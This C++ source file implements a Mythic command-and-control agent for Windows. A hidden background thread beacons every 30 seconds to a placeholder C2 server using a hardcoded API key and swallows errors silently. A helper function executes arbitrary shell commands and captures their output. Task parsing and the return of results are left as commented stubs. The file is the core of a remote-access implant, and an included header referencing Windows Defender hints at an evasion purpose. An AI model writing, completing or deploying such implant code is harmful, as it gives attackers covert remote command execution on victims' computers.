#include "windefend_h.h"
#include <windows.h>
#include <wininet.h>
#include <string>
#include <vector>
#include <thread>
#include <atomic>

// Mythic C2 configuration
#define MYTHIC_C2_SERVER "http://your-mythic-server.com:7443"
#define MYTHIC_API_KEY "your-api-key-here"
#define CHECKIN_INTERVAL 30000 // 30 seconds

std::atomic<bool> mythic_running(false);

// Mythic task structure
typedef struct MythicTask {
    std::string task_id;
    std::string command;
    std::string parameters;
} MythicTask;

// Checkin with Mythic C2
std::string mythic_checkin() {
    HINTERNET hInternet = InternetOpen(L"MythicAgent/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return "";
    
    HINTERNET hConnect = InternetOpenUrl(hInternet, 
        L"http://your-mythic-server.com:7443/api/v1.4/agent_message", 
        NULL, 0, INTERNET_FLAG_RELOAD, 0);
    
    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return "";
    }
    
    char buffer[4096];
    DWORD bytesRead;
    std::string response;
    
    while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        response.append(buffer, bytesRead);
    }
    
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    
    return response;
}

// Execute system command
std::string execute_command(const std::string& command) {
    char buffer[128];
    std::string result = "";
    
    FILE* pipe = _popen(command.c_str(), "r");
    if (!pipe) return "Error: Could not execute command";
    
    while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
        result += buffer;
    }
    
    _pclose(pipe);
    return result;
}

// Mythic agent thread
DWORD WINAPI mythic_agent_thread(LPVOID lpParam) {
    mythic_running = true;
    
    while (mythic_running) {
        try {
            std::string response = mythic_checkin();
            
            if (!response.empty()) {
                // Process Mythic tasks here
                // This would parse JSON response and execute commands
                
                // Example: execute system command
                // std::string output = execute_command("whoami");
                // Send output back to Mythic
            }
        }
        catch (...) {
            // Handle errors silently
        }
        
        Sleep(CHECKIN_INTERVAL);
    }
    
    return 0;
}

// Initialize Mythic C2 integration
bool initialize_mythic() {
    HANDLE hThread = CreateThread(NULL, 0, mythic_agent_thread, NULL, 0, NULL);
    if (hThread) {
        CloseHandle(hThread);
        return true;
    }
    return false;
}

// Cleanup Mythic integration
void cleanup_mythic() {
    mythic_running = false;
}